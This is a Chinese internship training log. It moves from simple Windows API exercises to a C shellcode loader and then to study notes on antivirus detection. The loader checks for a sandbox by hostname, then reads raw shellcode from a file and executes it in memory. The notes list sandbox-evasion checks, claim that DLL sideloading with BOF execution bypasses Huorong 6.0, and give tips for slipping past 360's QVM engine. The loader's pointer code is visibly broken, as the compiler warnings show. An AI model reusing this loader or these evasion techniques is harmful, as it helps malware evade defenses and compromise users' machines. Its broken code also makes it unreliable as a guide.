7.14生产实习日志
Windows API 与指针练习
测试窗口
1 2 3 4 5
| #include<stdio.h> #include<Windows.h> int main() { MessageBox(0,L"1234",0,0); }
|

创建线程
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include<stdio.h> #include<Windows.h>
DWORD WINAPI ThreadProc(LPVOID lpParameter) { MessageBox(0,0, 0, 0); return 0; }
int main() { HANDLE thread=CreateThread(0, 0, ThreadProc, 0, 0, 0); WaitForSingleObject(thread,-1); return 0; }
|

指针练习
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| #include<stdio.h> #include<Windows.h>
int main() {
STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessA("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "msedge www.baidu.com", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { fprintf(stderr, "CreateProcess failed\n"); return -1; } return 0; }
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| #include<windows.h> #include<string.h> #include<stdio.h> #include<stdlib.h>
#pragma warning(disable:4996)
BOOL GetHostName(CHAR* hostName) { DWORD hostNameLen = sizeof(hostName); if (!GetComputerNameA(hostName, &hostNameLen)) { return FALSE; } return TRUE; }
BOOL CheckIsSandbox() { CHAR hostName[MAX_PATH] = { 0 }; CHAR* sandboxName = "sandbox";
if(!GetHostName(hostName)) return FALSE;
if (!strstr(hostName, sandboxName)) { printf("%s\n", "not in sandbox"); return TRUE; } return FALSE; }
BOOL ReadPayload(char* shellcodeBuffer, PDWORD shellcodeSize) { FILE* file = { 0 }; WCHAR* buffer = NULL; SIZE_T file_size = { 0 };
file = fopen(L"box.dll", "rb"); if (file == NULL) { perror("Error opening file"); return FALSE; }
fseek(file, 0, SEEK_END); file_size = ftell(file); rewind(file);
buffer = (char*)calloc(file_size, 1); if (buffer == NULL) { perror("Memory allocation error"); fclose(file); return FALSE; }
fread(buffer, sizeof(char), file_size, file); *shellcodeBuffer = &buffer; *shellcodeSize = &file_size;
fclose(file); return TRUE; }
BOOL ExecShellcode(char* shellcode, DWORD shellcodeSize) { PVOID* shellcodeBuffer = NULL; if (shellcodeSize == 0) { printf("Invalid shellCode length\n"); return FALSE; } shellcodeBuffer = calloc(shellcodeSize, 1); memcpy(shellcodeBuffer, shellcode, shellcodeSize); ((void(*)())shellcodeBuffer)(); return TRUE; }
int main() { if (!CheckIsSandbox()) { return 1; } else { CHAR* shellcodeBuffer = NULL; DWORD shellcodeSize = 0; if(!ReadPayload(shellcodeBuffer, &shellcodeSize)) return 1; ExecShellcode(shellcodeBuffer, shellcodeSize);\
} return 0; }
1>D:\Users\Shuxia\Desktop\生产实习\7.14\pointer_demo\pointer_demo\main1.c(46,25): warning C4133: “函数”: 从“unsigned short [8]”到“const char *”的类型不兼容 1>D:\Users\Shuxia\Desktop\生产实习\7.14\pointer_demo\pointer_demo\main1.c(56,38): warning C4133: “=”: 从“char *”到“WCHAR *”的类型不兼容 1>D:\Users\Shuxia\Desktop\生产实习\7.14\pointer_demo\pointer_demo\main1.c(64,28): warning C4047: “=”:“char”与“WCHAR **”的间接级别不同 1>D:\Users\Shuxia\Desktop\生产实习\7.14\pointer_demo\pointer_demo\main1.c(65,29): warning C4047: “=”:“DWORD”与“SIZE_T *”的间接级别不同
|

修改后

杀软与特征检测
软件属性
- 指定查杀(给定对象,检测是否含有恶意代码)
- 能识别恶意代码的类型
- 宏病毒,感染型的病毒,能将病毒从宿主程序剥离。
杀软的引擎
1.分析模块(数据格式的识别)
2.特征库(hash值,md5值)
3.扫描核心。
静态查杀
1.特征码识别(hash,文件名,函数名,字符串,api)
2.云查杀(上传到云端进行检测)
3.校验和(特征码检测的一种)
4.启发式(QVM)
5.Yara规则
文件报毒的情况
1.下载文件就报毒(肯定是静态)
2.文件落地不会报毒,但是双击运行报毒(动态)
动态查杀
- 沙箱检测
- 配合云传。
- 规避沙箱(针对沙箱环境与正常环境的区别)
- 写一份检测代码
检测一点(内存空间小,运行时间(沙箱环境中,时间流速较快),主机名,CPU核心数,进程数量,io设备数量)
- 动态监控(行为检测)
- 检测服务相关
- 2.检测注册表
- 3.敏感命令(net user,whoami)
- 4.网络请求
- 5.策略组
- 6.防火墙
- 7.Windows API
认识杀软
杀软的检测分为静态查杀与动态查杀
杀软检测流程
特征库 识别性的二进制片段
- 基于特征码进行检测:杀毒软件的病毒库记录了一些恶意软件的特征码,检测时提取特征码和库内做比对来判断。
- 利用启发式恶意软件检测:检测进程链。
- 基于行为的恶意软件检测:对敏感行为进行实时监控,如果某一程序有如常见恶意代码的行为,则视其为恶意软件,是启发式的延申。
火绒
火绒5.0
特征匹配(特征库检测)
静态检测
火绒6.0(公测时间2024.4.24)
新增:启发式查杀(检测API,沙箱检测)
AMSI
内存防护
恶意行为监控
如果只是针对火绒5.0的版本,只要将静态做好就问题不大。
白加黑+BOF执行是能绕过火绒6.0的
360安全卫士
360(无核晶)
360的六大引擎:
360云查杀引擎、360启发式引擎、QEX脚本查杀引擎、(最为无语)QVMⅡ人工智能引擎、鲲鹏引擎、反勒索引擎
特征检测:
APT样本特征、环境特征
安全云大脑!!!(360检测的主要手段)
核晶利用虚拟化技术,在本地建立一个小型沙箱。
会针对行为检测。
核晶配合云大脑,算是目前国内免费杀软中比较厉害的。
检测可以行为:注册表,计划任务,添加用户,加驱动
接入安全大脑,QVM人工智能。
QVM:只需要去除一些多余信息,模拟一下正确程序就好了
Loader : 无图标,无签名,清单信息,调试信息
Windows Denfender
庞大的特征库,基本上一两天就会更新一次。
会上传VT云沙箱。
动态与启发式(一般)